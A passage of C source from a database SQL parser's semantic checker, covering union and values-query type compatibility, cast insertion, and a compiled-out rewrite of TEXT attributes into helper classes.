pt_collection_assignable (PARSER_CONTEXT * parser, const PT_NODE * d_col, const PT_NODE * s_col)
{
int assignable = 1; /* innocent until proven guilty */
if (!d_col || !s_col || !PT_IS_COLLECTION_TYPE (d_col->type_enum))
{
return 0;
}
/* NULL is assignable to any class type */
if (s_col->type_enum == PT_TYPE_NA || s_col->type_enum == PT_TYPE_NULL)
{
return 1;
}
/* make sure we are dealing only with collection types */
if (!PT_IS_COLLECTION_TYPE (s_col->type_enum))
{
return 0;
}
/* can't assign a multiset or a sequence to a set, or a multiset to a sequence */
if (((d_col->type_enum == PT_TYPE_SET)
&& ((s_col->type_enum == PT_TYPE_MULTISET) || (s_col->type_enum == PT_TYPE_SEQUENCE)))
|| ((d_col->type_enum == PT_TYPE_SEQUENCE) && (s_col->type_enum == PT_TYPE_MULTISET)))
{
assignable = 0;
}
else if (!d_col->data_type)
{
/* the wildcard set (set of anything) can be assigned a set of any type. */
assignable = 1;
}
else if (!s_col->data_type)
{
/* in this case, we have a wild card set being assigned to a non-wildcard set. */
assignable = 0;
}
else
{
/* Check to see that every type in the source collection is in the destination collection. That is, the source
* types must be a subset of the destination types. There is no coercion allowed. */
PT_NODE *st, *dt;
int found;
for (st = s_col->data_type; st != NULL; st = st->next)
{
found = 0;
for (dt = d_col->data_type; dt != NULL; dt = dt->next)
{
if (st->type_enum == dt->type_enum)
{
if ((st->type_enum != PT_TYPE_OBJECT) || (pt_type_assignable (parser, dt, st)))
{
found = 1;
break;
}
}
}
if (!found)
{
assignable = 0;
break;
}
}
}
return assignable;
} /* pt_collection_assignable */
/*
* pt_collection_compatible () - determine if two collections
* have compatible domains
* return: 1 if c1 and c2 have compatible domains
* parser(in): the parser context
* col1(in): a PT_NODE whose type_enum is PT_TYPE_OBJECT
* col2(in): a PT_NODE whose type_enum is PT_TYPE_OBJECT
* view_definition_context(in):
*/
static int
pt_collection_compatible (PARSER_CONTEXT * parser, const PT_NODE * col1, const PT_NODE * col2,
bool view_definition_context)
{
if (!col1 || !PT_IS_COLLECTION_TYPE (col1->type_enum) || !col2 || !PT_IS_COLLECTION_TYPE (col2->type_enum))
{
return 0;
}
if (view_definition_context)
{
return pt_collection_assignable (parser, col1, col2);
}
else
{
return (col1->type_enum == col2->type_enum
&& (pt_collection_assignable (parser, col1, col2) || pt_collection_assignable (parser, col2, col1)));
}
}
/*
* pt_union_compatible () - determine if two select_list items are
* union compatible
* return: 1 if item1 and item2 are union compatible.
* parser(in): the parser context
* item1(in): an element of a select_list or attribute_list
* item2(in): an element of a select_list or attribute_list
* view_definition_context(in):
* is_object_type(in):
*
* Note :
* return 1 if:
* - item1 or item2 is "NA", or
* - item1 and item2 have identical types, or
* - item1 is a literal that can be coerced to item2's type, or
* - item2 is a literal that can be coerced to item1's type.
*/
static PT_UNION_COMPATIBLE
pt_union_compatible (PARSER_CONTEXT * parser, PT_NODE * item1, PT_NODE * item2, bool view_definition_context,
bool * is_object_type)
{
PT_TYPE_ENUM typ1, typ2, common_type;
PT_NODE *dt1, *dt2, *data_type;
int r;
typ1 = item1->type_enum;
typ2 = item2->type_enum;
*is_object_type = false;
if (typ1 == typ2 && typ1 != PT_TYPE_OBJECT && !PT_IS_COLLECTION_TYPE (typ1))
{
if (typ1 == PT_TYPE_NONE) /* is not compatible with anything */
{
return PT_UNION_INCOMP_CANNOT_FIX;
}
if (typ1 == PT_TYPE_MAYBE)
{
/* assume hostvars are compatible */
return PT_UNION_COMP;
}
if (!view_definition_context)
{
dt1 = item1->data_type;
dt2 = item2->data_type;
common_type = typ1;
if (dt1 && dt2)
{
/* numeric type, fixed size string type */
if (common_type == PT_TYPE_NUMERIC || PT_IS_STRING_TYPE (common_type))
{
if ((dt1->info.data_type.precision != dt2->info.data_type.precision)
|| (dt1->info.data_type.dec_precision != dt2->info.data_type.dec_precision)
|| (dt1->info.data_type.units != dt2->info.data_type.units))
{
/* different numeric and fixed size string types are incompatible */
return PT_UNION_INCOMP;
}
}
}
else
{
return PT_UNION_INCOMP;
}
}
return PT_UNION_COMP;
}
if (typ2 == PT_TYPE_NA || typ2 == PT_TYPE_NULL)
{
/* NA is compatible with any type except PT_TYPE_NONE */
return ((typ1 != PT_TYPE_NONE) ? PT_UNION_COMP : PT_UNION_INCOMP_CANNOT_FIX);
}
if (typ1 == PT_TYPE_NA || typ1 == PT_TYPE_NULL)
{
/* NA is compatible with any type except PT_TYPE_NONE */
return ((typ2 != PT_TYPE_NONE) ? PT_UNION_COMP : PT_UNION_INCOMP_CANNOT_FIX);
}
if (view_definition_context)
{
common_type = typ1;
}
else
{
common_type = pt_common_type (typ1, typ2);
}
if (common_type == PT_TYPE_NONE) /* not union compatible */
{
return PT_UNION_INCOMP_CANNOT_FIX;
}
if (item1->node_type == PT_VALUE || item2->node_type == PT_VALUE)
{
data_type = NULL;
if (common_type == PT_TYPE_NUMERIC)
{
SEMAN_COMPATIBLE_INFO ci1, ci2;
pt_get_compatible_info_from_node (item1, &ci1);
pt_get_compatible_info_from_node (item2, &ci2);
data_type = parser_new_node (parser, PT_DATA_TYPE);
if (data_type == NULL)
{
return PT_UNION_ERROR;
}
data_type->info.data_type.precision =
MAX ((ci1.prec - ci1.scale), (ci2.prec - ci2.scale)) + MAX (ci1.scale, ci2.scale);
data_type->info.data_type.dec_precision = MAX (ci1.scale, ci2.scale);
if (data_type->info.data_type.precision > DB_MAX_NUMERIC_PRECISION)
{
data_type->info.data_type.dec_precision =
(DB_MAX_NUMERIC_PRECISION - data_type->info.data_type.dec_precision);
if (data_type->info.data_type.dec_precision < 0)
{
data_type->info.data_type.dec_precision = 0;
}
data_type->info.data_type.precision = DB_MAX_NUMERIC_PRECISION;
}
}
if (item1->type_enum == common_type && item2->type_enum == common_type)
{
return PT_UNION_COMP;
}
else
{
return PT_UNION_INCOMP;
}
}
else if (common_type == PT_TYPE_OBJECT)
{
*is_object_type = true;
if ((item1->node_type == PT_NAME && item1->info.name.meta_class == PT_VID_ATTR)
|| (item2->node_type == PT_NAME && item2->info.name.meta_class == PT_VID_ATTR))
{
/* system-added OID */
return PT_UNION_COMP;
}
else
{
r = pt_class_compatible (parser, item1, item2, view_definition_context);
return ((r == 1) ? PT_UNION_COMP : PT_UNION_INCOMP_CANNOT_FIX);
}
}
else if (PT_IS_COLLECTION_TYPE (common_type))
{
r = pt_collection_compatible (parser, item1, item2, view_definition_context);
return ((r == 1) ? PT_UNION_COMP : PT_UNION_INCOMP_CANNOT_FIX);
}
return PT_UNION_INCOMP; /* not union compatible */
}
/*
* pt_is_compatible_without_cast () -
* return: true/false
* parser(in):
* dest_type_enum(in):
* dest_prec(in):
* dest_scale(in):
* src(in):
*/
static bool
pt_is_compatible_without_cast (PARSER_CONTEXT * parser, SEMAN_COMPATIBLE_INFO * dest_sci, PT_NODE * src,
bool * is_cast_allowed)
{
assert (dest_sci != NULL);
assert (src != NULL);
assert (is_cast_allowed != NULL);
*is_cast_allowed = true;
if (dest_sci->force_cast && dest_sci->type_enum == PT_TYPE_JSON)
{
return false;
}
if (dest_sci->type_enum != src->type_enum)
{
return false;
}
if (PT_HAS_COLLATION (src->type_enum))
{
if (src->data_type != NULL && src->data_type->info.data_type.collation_id != dest_sci->coll_infer.coll_id)
{
INTL_CODESET att_cs;
att_cs = (INTL_CODESET) src->data_type->info.data_type.units;
if (!INTL_CAN_COERCE_CS (att_cs, dest_sci->coll_infer.codeset))
{
*is_cast_allowed = false;
}
return false;
}
}
if (PT_IS_STRING_TYPE (dest_sci->type_enum))
{
assert_release (dest_sci->prec != 0);
if (src->data_type && dest_sci->prec == src->data_type->info.data_type.precision)
{
return true;
}
else
{
return false;
}
}
else if (dest_sci->type_enum == PT_TYPE_NUMERIC)
{
assert_release (dest_sci->prec != 0);
if (src->data_type && dest_sci->prec == src->data_type->info.data_type.precision
&& dest_sci->scale == src->data_type->info.data_type.dec_precision)
{
return true;
}
else
{
return false;
}
}
else if (dest_sci->type_enum == PT_TYPE_ENUMERATION)
{
/* enumerations might not have the same domain */
return false;
}
else if (PT_IS_COLLECTION_TYPE (dest_sci->type_enum))
{
/* collections might not have the same domain */
return false;
}
return true; /* is compatible, no need to cast */
}
/*
* pt_to_compatible_cast () -
* return:
* parser(in):
* node(in):
* cinfo(in):
*/
static PT_NODE *
pt_to_compatible_cast (PARSER_CONTEXT * parser, PT_NODE * node, SEMAN_COMPATIBLE_INFO * cinfo, int num_cinfo)
{
PT_NODE *attrs, *att;
PT_NODE *prev_att, *next_att, *new_att = NULL, *new_dt = NULL;
int i;
bool new_cast_added;
bool need_to_cast;
assert (parser != NULL);
if (!node || !pt_is_query (node))
{
return NULL;
}
if (pt_is_select (node))
{
if (PT_IS_VALUE_QUERY (node))
{
node = pt_values_query_to_compatible_cast (parser, node, cinfo, num_cinfo);
}
else
{
attrs = pt_get_select_list (parser, node);
if (attrs == NULL)
{
return NULL;
}
prev_att = NULL;
for (att = attrs, i = 0; i < num_cinfo && att; att = next_att, i++)
{
bool is_cast_allowed = true;
new_cast_added = false;
next_att = att->next; /* save next link */
need_to_cast = false;
/* find incompatible attr */
if (cinfo[i].idx == i)
{
if (!pt_is_compatible_without_cast (parser, &(cinfo[i]), att, &is_cast_allowed))
{
need_to_cast = true;
/* assertion check */
if (need_to_cast)
{
if (PT_IS_STRING_TYPE (att->type_enum) || att->type_enum == PT_TYPE_NUMERIC)
{
if (att->data_type == NULL)
{
assert_release (att->data_type != NULL);
return NULL;
}
}
}
}
}
if (need_to_cast)
{
SEMAN_COMPATIBLE_INFO att_cinfo;
if (!is_cast_allowed)
{
return NULL;
}
memcpy (&att_cinfo, &(cinfo[i]), sizeof (att_cinfo));
if (PT_HAS_COLLATION (att->type_enum) && att->data_type != NULL)
{
/* use collation and codeset of original attribute the values from cinfo are not usable */
att_cinfo.coll_infer.coll_id = att->data_type->info.data_type.collation_id;
att_cinfo.coll_infer.codeset = (INTL_CODESET) att->data_type->info.data_type.units;
}
new_att = pt_make_cast_with_compatible_info (parser, att, next_att, &att_cinfo, &new_cast_added);
if (new_att == NULL)
{
goto out_of_mem;
}
if (new_cast_added)
{
att = new_att;
}
if (prev_att == NULL)
{
node->info.query.q.select.list = att;
node->type_enum = att->type_enum;
if (node->data_type)
{
parser_free_tree (parser, node->data_type);
}
node->data_type = parser_copy_tree_list (parser, att->data_type);
}
else
{
prev_att->next = att;
}
}
prev_att = att;
}
}
}
else
{ /* PT_UNION, PT_DIFFERENCE, PT_INTERSECTION */
if (!pt_to_compatible_cast (parser, node->info.query.q.union_.arg1, cinfo, num_cinfo)
|| !pt_to_compatible_cast (parser, node->info.query.q.union_.arg2, cinfo, num_cinfo))
{
return NULL;
}
if (node->data_type)
{
parser_free_tree (parser, node->data_type);
}
node->data_type = parser_copy_tree_list (parser, node->info.query.q.union_.arg1->data_type);
}
return node;
out_of_mem:
if (new_att)
{
parser_free_tree (parser, new_att);
}
if (new_dt)
{
parser_free_tree (parser, new_dt);
}
PT_ERRORm (parser, node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return NULL;
}
/*
* pt_get_compatible_info_from_node () -
* return:
* att(in):
* cinfo(out):
*/
static void
pt_get_compatible_info_from_node (const PT_NODE * att, SEMAN_COMPATIBLE_INFO * cinfo)
{
assert (cinfo != NULL);
cinfo->coll_infer.coll_id = -1;
cinfo->coll_infer.codeset = INTL_CODESET_NONE;
cinfo->coll_infer.coerc_level = PT_COLLATION_NOT_COERC;
cinfo->coll_infer.can_force_cs = false;
cinfo->prec = cinfo->scale = 0;
cinfo->ref_att = att;
cinfo->force_cast = false;
cinfo->type_enum = att->type_enum;
switch (att->type_enum)
{
case PT_TYPE_SMALLINT:
cinfo->prec = 6;
cinfo->scale = 0;
break;
case PT_TYPE_INTEGER:
cinfo->prec = 10;
cinfo->scale = 0;
break;
case PT_TYPE_BIGINT:
cinfo->prec = 19;
cinfo->scale = 0;
break;
case PT_TYPE_NUMERIC:
cinfo->prec = (att->data_type) ? att->data_type->info.data_type.precision : 0;
cinfo->scale = (att->data_type) ? att->data_type->info.data_type.dec_precision : 0;
break;
case PT_TYPE_CHAR:
case PT_TYPE_VARCHAR:
case PT_TYPE_NCHAR:
case PT_TYPE_VARNCHAR:
cinfo->prec = (att->data_type) ? att->data_type->info.data_type.precision : 0;
cinfo->scale = 0;
break;
default:
break;
}
if (PT_HAS_COLLATION (att->type_enum))
{
(void) pt_get_collation_info ((PT_NODE *) att, &(cinfo->coll_infer));
}
}
/*
* pt_get_common_type_for_union () -
* return:
* parser(in):
* att1(in):
* att2(in):
* cinfo(out):
* idx(in):
* need_cast(out):
*/
static PT_NODE *
pt_get_common_type_for_union (PARSER_CONTEXT * parser, PT_NODE * att1, PT_NODE * att2, SEMAN_COMPATIBLE_INFO * cinfo,
int idx, bool * need_cast)
{
PT_NODE *dt1, *dt2;
PT_TYPE_ENUM common_type;
bool is_compatible = false;
dt1 = att1->data_type;
dt2 = att2->data_type;
if ((PT_IS_STRING_TYPE (att1->type_enum) && att2->type_enum == PT_TYPE_MAYBE)
|| (PT_IS_STRING_TYPE (att2->type_enum) && att1->type_enum == PT_TYPE_MAYBE))
{
common_type = (att1->type_enum == PT_TYPE_MAYBE ? att2->type_enum : att1->type_enum);
}
else
{
common_type = pt_common_type (att1->type_enum, att2->type_enum);
}
if (common_type != PT_TYPE_NONE)
{
SEMAN_COMPATIBLE_INFO att1_info, att2_info;
/* save attr idx and compatible type */
cinfo->idx = idx;
pt_get_compatible_info_from_node (att1, &att1_info);
pt_get_compatible_info_from_node (att2, &att2_info);
is_compatible = pt_update_compatible_info (parser, cinfo, common_type, &att1_info, &att2_info);
if (is_compatible)
{
*need_cast = true;
}
}
if (!is_compatible)
{
PT_ERRORmf2 (parser, att1, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_UNION_INCOMPATIBLE,
pt_short_print (parser, att1), pt_short_print (parser, att2));
return NULL;
}
return att1;
}
/*
* pt_check_union_compatibility () - check two query_specs for
* union compatibility
* return: node on success, NULL otherwise.
* parser(in): the parser context used to derive qry1 and qry2
* node(in): a query node
*
* Note :
* the definition of union compatible is: same number of pairwise
* union-compatible attributes from the two query_specs.
* two vclass compatible attributes are considered union-compatible.
*/
PT_NODE *
pt_check_union_compatibility (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *attrs1, *attrs2, *result = node;
PT_NODE *arg1, *arg2;
int cnt1, cnt2;
SEMAN_COMPATIBLE_INFO *cinfo = NULL;
bool need_cast;
assert (parser != NULL);
if (node == NULL
|| (node->node_type != PT_UNION && node->node_type != PT_INTERSECTION && node->node_type != PT_DIFFERENCE
&& node->node_type != PT_CTE))
{
return NULL;
}
if (node->node_type == PT_CTE)
{
arg1 = node->info.cte.non_recursive_part;
arg2 = node->info.cte.recursive_part;
}
else
{
arg1 = node->info.query.q.union_.arg1;
arg2 = node->info.query.q.union_.arg2;
}
attrs1 = pt_get_select_list (parser, arg1);
if (attrs1 == NULL)
{
return NULL;
}
attrs2 = pt_get_select_list (parser, arg2);
if (attrs2 == NULL)
{
return NULL;
}
cnt1 = pt_length_of_select_list (attrs1, EXCLUDE_HIDDEN_COLUMNS);
cnt2 = pt_length_of_select_list (attrs2, EXCLUDE_HIDDEN_COLUMNS);
if (cnt1 != cnt2)
{
PT_ERRORmf2 (parser, attrs1, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ARITY_MISMATCH, cnt1, cnt2);
return NULL;
}
/* get compatible info */
cinfo = pt_get_compatible_info (parser, node, attrs1, attrs2, &need_cast);
if (cinfo == NULL && need_cast)
{
result = NULL;
}
/* convert attrs type to compatible type */
if (result && need_cast == true)
{
if (!pt_to_compatible_cast (parser, arg1, cinfo, cnt1) || !pt_to_compatible_cast (parser, arg2, cinfo, cnt1))
{
result = NULL;
}
else
{
/* copy the new data_type to the actual UNION node */
if (node->data_type != NULL)
{
parser_free_tree (parser, node->data_type);
}
node->data_type = parser_copy_tree (parser, arg1->data_type);
}
}
if (cinfo)
{
free_and_init (cinfo);
}
return result;
}
/*
* pt_check_type_compatibility_of_values_query () - check rows for
* values query compatibility
* return: node on success, NULL otherwise.
* parser(in): the parser context used to derive qry1 and qry2
* node(in): a query node
*
* Note :
* the definition of values query compatible is: same number of
* attributes from rows.
* every two rows' compatible attributes are considered union-compatible.
*/
PT_NODE *
pt_check_type_compatibility_of_values_query (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *node_list, *result = node;
SEMAN_COMPATIBLE_INFO *cinfo = NULL;
bool need_cast = false;
PT_NODE *attrs;
int count;
assert (parser);
if (node == NULL || node->node_type != PT_SELECT || !PT_IS_VALUE_QUERY (node))
{
return NULL;
}
node_list = node->info.query.q.select.list;
if (node_list == NULL)
{
return NULL;
}
attrs = node_list->info.node_list.list;
node_list = node_list->next;
/* only one row */
if (node_list == NULL)
{
return result;
}
count = pt_length_of_select_list (attrs, EXCLUDE_HIDDEN_COLUMNS);
/* get compatible_info for cast */
cinfo = pt_get_values_query_compatible_info (parser, node, &need_cast);
if (cinfo == NULL && need_cast)
{
result = NULL;
goto end;
}
/* convert attrs type to compatible type */
if (need_cast && cinfo != NULL)
{
result = pt_values_query_to_compatible_cast (parser, node, cinfo, count);
}
end:
if (cinfo)
{
free_and_init (cinfo);
}
return result;
}
/*
* pt_check_union_values_query_compatibility () - check compatibility
* when union values query
* return: node on success, NULL otherwise.
* parser(in): the parser context used to derive qry1 and qry2
* node(in): a query node
*
* Note :
* please see pt_check_union_compatibility
* and pt_check_type_compatibility_of_values_query
*/
PT_NODE *
pt_check_union_type_compatibility_of_values_query (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *attrs1, *attrs2, *att1, *att2, *result = node;
int cnt1, cnt2, i;
SEMAN_COMPATIBLE_INFO *cinfo = NULL;
SEMAN_COMPATIBLE_INFO *cinfo_arg1 = NULL;
SEMAN_COMPATIBLE_INFO *cinfo_arg2 = NULL;
SEMAN_COMPATIBLE_INFO *cinfo_arg3 = NULL;
bool need_cast;
PT_NODE *arg1, *arg2, *tmp;
bool is_compatible;
assert (parser != NULL);
if (!node
|| !(node->node_type == PT_UNION || node->node_type == PT_INTERSECTION || node->node_type == PT_DIFFERENCE
|| node->node_type == PT_CTE))
{
return NULL;
}
if (node->node_type == PT_CTE)
{
arg1 = node->info.cte.non_recursive_part;
arg2 = node->info.cte.recursive_part;
}
else
{
arg1 = node->info.query.q.union_.arg1;
arg2 = node->info.query.q.union_.arg2;
}
if (!arg1 || !arg2 || !(attrs1 = pt_get_select_list (parser, arg1)) || !(attrs2 = pt_get_select_list (parser, arg2)))
{
return NULL;
}
cnt1 = pt_length_of_select_list (attrs1, EXCLUDE_HIDDEN_COLUMNS);
cnt2 = pt_length_of_select_list (attrs2, EXCLUDE_HIDDEN_COLUMNS);
if (cnt1 != cnt2)
{
PT_ERRORmf2 (parser, attrs1, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ARITY_MISMATCH, cnt1, cnt2);
return NULL;
}
if (PT_IS_VALUE_QUERY (arg1) && PT_IS_VALUE_QUERY (arg2)) /* two values query */
{
need_cast = false;
cinfo_arg1 = pt_get_values_query_compatible_info (parser, arg1, &need_cast);
if (cinfo_arg1 == NULL && need_cast)
{
result = NULL;
goto end;
}
need_cast = false;
cinfo_arg2 = pt_get_values_query_compatible_info (parser, arg2, &need_cast);
if (cinfo_arg2 == NULL && need_cast)
{
result = NULL;
goto end;
}
/* compare cinfo_arg1 and cinfo_arg2 save the compatible cinfo in cinfo_arg1 */
if (cinfo_arg1 != NULL && cinfo_arg2 != NULL)
{
is_compatible = true;
for (i = 0, att1 = attrs1, att2 = attrs2; i < cnt1; ++i, att1 = att1->next, att2 = att2->next)
{
is_compatible = pt_combine_compatible_info (parser, cinfo_arg1 + i, cinfo_arg2 + i, att1, att2, i);
if (!is_compatible)
{
result = NULL;
goto end;
}
}
}
else if (cinfo_arg2 != NULL)
{
cinfo_arg1 = cinfo_arg2;
cinfo_arg2 = NULL;
}
/* compare the select list */
cinfo_arg3 = pt_get_compatible_info (parser, node, attrs1, attrs2, &need_cast);
if (cinfo_arg3 == NULL && need_cast)
{
result = NULL;
goto end;
}
if (need_cast)
{
if (cinfo_arg1 != NULL)
{
is_compatible = true;
for (i = 0, att1 = attrs1, att2 = attrs2; i < cnt1; ++i, att1 = att1->next, att2 = att2->next)
{
is_compatible = pt_combine_compatible_info (parser, cinfo_arg1 + i, cinfo_arg3 + i, att1, att2, i);
if (!is_compatible)
{
result = NULL;
goto end;
}
}
}
else
{
cinfo_arg1 = cinfo_arg3;
cinfo_arg3 = NULL;
}
}
cinfo = cinfo_arg1;
}
else if (PT_IS_VALUE_QUERY (arg1) || PT_IS_VALUE_QUERY (arg2)) /* one values query, one select */
{
/* make arg1->is_value_query==1 */
if (PT_IS_VALUE_QUERY (arg2))
{
tmp = arg1;
arg1 = arg2;
arg2 = tmp;
}
/* arg1 is the values query */
need_cast = false;
cinfo_arg1 = pt_get_values_query_compatible_info (parser, arg1, &need_cast);
if (cinfo_arg1 == NULL && need_cast)
{
result = NULL;
goto end;
}
/* get the cinfo of select */
attrs1 = pt_get_select_list (parser, arg1);
attrs2 = pt_get_select_list (parser, arg2);
cinfo_arg2 = pt_get_compatible_info (parser, node, attrs1, attrs2, &need_cast);
if (cinfo_arg2 == NULL && need_cast)
{
result = NULL;
goto end;
}
if (need_cast)
{
/* compare cinfo_arg1 and cinfo_arg2 save the compatible cinfo in cinfo_arg1 */
if (cinfo_arg1 != NULL)
{
is_compatible = true;
for (i = 0, att1 = attrs1, att2 = attrs2; i < cnt1; ++i, att1 = att1->next, att2 = att2->next)
{
is_compatible = pt_combine_compatible_info (parser, cinfo_arg1 + i, cinfo_arg2 + i, att1, att2, i);
if (!is_compatible)
{
result = NULL;
goto end;
}
}
}
else
{
cinfo_arg1 = cinfo_arg2;
cinfo_arg2 = NULL;
}
cinfo = cinfo_arg1;
}
}
else
{
/* should not be here */
assert (false);
}
/* make the cast */
if (cinfo != NULL)
{
if (pt_to_compatible_cast (parser, arg1, cinfo, cnt1) == NULL
|| pt_to_compatible_cast (parser, arg2, cinfo, cnt1) == NULL)
{
result = NULL;
}
}
end:
if (cinfo_arg1)
{
free_and_init (cinfo_arg1);
}
if (cinfo_arg2)
{
free_and_init (cinfo_arg2);
}
if (cinfo_arg3)
{
free_and_init (cinfo_arg3);
}
return result;
}
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
/*
* pt_make_default_value () -
* return: return a PT_NODE for the default value
* parser(in): parser context
* class_name(in): class name of the attr to be defined a default value
* attr_name(in): name of attr to be defined a default value
*/
static PT_NODE *
pt_make_default_value (PARSER_CONTEXT * parser, const char *class_name, const char *attr_name)
{
DB_OBJECT *class_obj;
DB_ATTRIBUTE *attr_obj;
DB_VALUE *value;
PT_NODE *node = NULL;
char *value_string;
class_obj = db_find_class (class_name);
if (class_obj)
{
attr_obj = db_get_attribute (class_obj, attr_name);
if (attr_obj)
{
value = db_attribute_default (attr_obj);
if (value)
{
value_string = db_get_string (value);
node = pt_make_string_value (parser, value_string);
}
}
}
return node;
}
/*
* pt_make_parameter () -
* return: return a PT_NODE for the parameter name
* parser(in): parser context
* name(in): parameter name to make up a PT_NODE
* is_out_parameter(in): whether input or output parameter
*/
static PT_NODE *
pt_make_parameter (PARSER_CONTEXT * parser, const char *name, int is_out_parameter)
{
PT_NODE *node;
node = parser_new_node (parser, PT_NAME);
if (node)
{
node->info.name.original = pt_append_string (parser, NULL, name);
node->info.name.meta_class = PT_PARAMETER;
if (is_out_parameter)
{ /* to skip parameter binding */
node->info.name.spec_id = (UINTPTR) node;
node->info.name.resolved = pt_append_string (parser, NULL, "out parameter");
}
}
return node;
}
/*
* pt_append_statements_on_add_attribute () -
* return: return a list of statement string or null on error
* parser(in): parser context
* statement_list(in,out): statement strings to be created internally
* stmt_node(in): parse tree for a create or alter statement
* class_name(in): class name to add a attr
* attr_name(in): attr name to add
* attr(in/out): attr definition to add
*
* Note :
* rewrite rule is like this.
* create class c (..., a text constraint, ...);
* => (pre) create class c_text_a_ under db_text;
* => (main) create class c (..., a c_text_a_, ...);
* => (post) alter class c_text_a_ add tid c unique, tdata string constraint;
* => (post) create unique index on c(a);
* => (post) grant select on c to user;
*/
static PT_NODE *
pt_append_statements_on_add_attribute (PARSER_CONTEXT * parser, PT_NODE * statement_list, PT_NODE * stmt_node,
const char *class_name, const char *attr_name, PT_NODE * attr)
{
PT_NODE *s1, *s2, *s3, *s4;
char *text_class_name = NULL, *stmt = NULL;
char *constraint_name = NULL;
text_class_name = pt_append_string (parser, NULL, class_name);
text_class_name = pt_append_string (parser, text_class_name, "_text_");
text_class_name = pt_append_string (parser, text_class_name, attr_name);
constraint_name = pt_append_string (parser, NULL, TEXT_CONSTRAINT_PREFIX);
constraint_name = pt_append_string (parser, constraint_name, attr_name);
if (db_find_class (text_class_name))
{
PT_ERRORmf (parser, stmt_node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_EXISTS, text_class_name);
return NULL;
}
stmt = pt_append_string (parser, NULL, "CREATE CLASS ");
stmt = pt_append_string (parser, stmt, text_class_name);
stmt = pt_append_string (parser, stmt, " UNDER db_text;");
s1 = pt_make_string_value (parser, stmt);
stmt = pt_append_string (parser, NULL, "ALTER CLASS ");
stmt = pt_append_string (parser, stmt, text_class_name);
stmt = pt_append_string (parser, stmt, " ADD tid ");
stmt = pt_append_string (parser, stmt, class_name);
stmt = pt_append_string (parser, stmt, ", tdata STRING ");
stmt = pt_append_string (parser, stmt, ((attr->info.attr_def.data_default)
? parser_print_tree (parser, attr->info.attr_def.data_default) : ""));
stmt = pt_append_string (parser, stmt, " ");
stmt = pt_append_string (parser, stmt, ((attr->info.attr_def.constrain_not_null) ? "NOT NULL" : ""));
stmt = pt_append_string (parser, stmt, ", CONSTRAINT ");
stmt = pt_append_string (parser, stmt, constraint_name);
stmt = pt_append_string (parser, stmt, " UNIQUE(tid)");
stmt = pt_append_string (parser, stmt, ";");
s2 = pt_make_string_value (parser, stmt);
stmt = pt_append_string (parser, NULL, "CREATE UNIQUE INDEX ");
stmt = pt_append_string (parser, stmt, constraint_name);
stmt = pt_append_string (parser, stmt, " ON ");
stmt = pt_append_string (parser, stmt, class_name);
stmt = pt_append_string (parser, stmt, "([");
stmt = pt_append_string (parser, stmt, attr_name);
stmt = pt_append_string (parser, stmt, "]);");
s3 = pt_make_string_value (parser, stmt);
stmt = pt_append_string (parser, NULL, "GRANT SELECT ON ");
stmt = pt_append_string (parser, stmt, text_class_name);
stmt = pt_append_string (parser, stmt, " TO ");
stmt = pt_append_string (parser, stmt, au_get_user_name (Au_user));
stmt = pt_append_string (parser, stmt, " WITH GRANT OPTION");
s4 = pt_make_string_value (parser, stmt);
/* redefine the attribute definition */
attr->type_enum = PT_TYPE_OBJECT;
attr->data_type->type_enum = attr->type_enum;
attr->data_type->info.data_type.entity = pt_name (parser, text_class_name);
if (attr->data_type->info.data_type.entity == NULL)
{
PT_ERRORm (parser, attr, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return NULL;
}
attr->data_type->info.data_type.units = 1;
attr->data_type->info.data_type.precision = 0;
parser_free_tree (parser, attr->info.attr_def.data_default);
attr->info.attr_def.data_default = NULL;
attr->info.attr_def.constrain_not_null = 0;
/* indicate the time of doing statement, 'etc' points to the statement to do previously */
s1->etc = NULL;
s2->etc = stmt_node;
s3->etc = stmt_node;
s1->next = s2;
s2->next = s3;
s3->next = s4;
if (statement_list)
{
s4->next = statement_list;
}
statement_list = s1;
return statement_list;
}
/*
* pt_append_statements_on_change_default () -
* return: return a list of statement string or null on error
* parser(in): parser context
* statement_list(in,out): statement strings to be created internally
* stmt_node(in): parse tree for a alter default statement
* class_name(in): class name of a attr to redefine the default value
* attr_name(in): attr name to redefine the default value
* value(in/out): default value of the attr
*
* Note :
* rewrite rule is like this.
* alter class c change ..., a default value, ...;
* => (pre) alter class c_text_a_ change data default value;
* => (main) alter class c change ..., a default null, ...;
*/
static PT_NODE *
pt_append_statements_on_change_default (PARSER_CONTEXT * parser, PT_NODE * statement_list, PT_NODE * stmt_node,
const char *class_name, const char *attr_name, PT_NODE * value)
{
PT_NODE *s1, *save_next;
char *text_class_name = NULL, *stmt = NULL;
text_class_name = pt_append_string (parser, NULL, class_name);
text_class_name = pt_append_string (parser, text_class_name, "_text_");
text_class_name = pt_append_string (parser, text_class_name, attr_name);
if (!db_find_class (text_class_name))
{
PT_ERRORmf (parser, stmt_node, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, text_class_name);
return NULL;
}
stmt = pt_append_string (parser, NULL, "ALTER CLASS ");
stmt = pt_append_string (parser, stmt, text_class_name);
stmt = pt_append_string (parser, stmt, " CHANGE tdata DEFAULT ");
stmt = pt_append_string (parser, stmt, parser_print_tree (parser, value));
s1 = pt_make_string_value (parser, stmt);
/* redefine the default value */
save_next = value->next;
parser_free_subtrees (parser, value);
parser_reinit_node (value);
value->type_enum = PT_TYPE_NULL;
value->next = save_next;
s1->etc = NULL;
if (statement_list)
{
s1->next = statement_list;
}
statement_list = s1;
return statement_list;
}
/*
* pt_append_statements_on_drop_attributes () -
* return: return a list of statement string or null on error
* parser(in): parser context
* statement_list(in/out): statement strings to be created internally
* class_name_list(in): a list of class name to drop
*
* Note :
* rewrite rule is like this.
* alter class c drop ..., a, ...;
* => (pre) drop class c_text_a_;
* => (main) alter class c drop ..., a, ...;
* drop class c;
* => (pre) drop class c_text_a_;
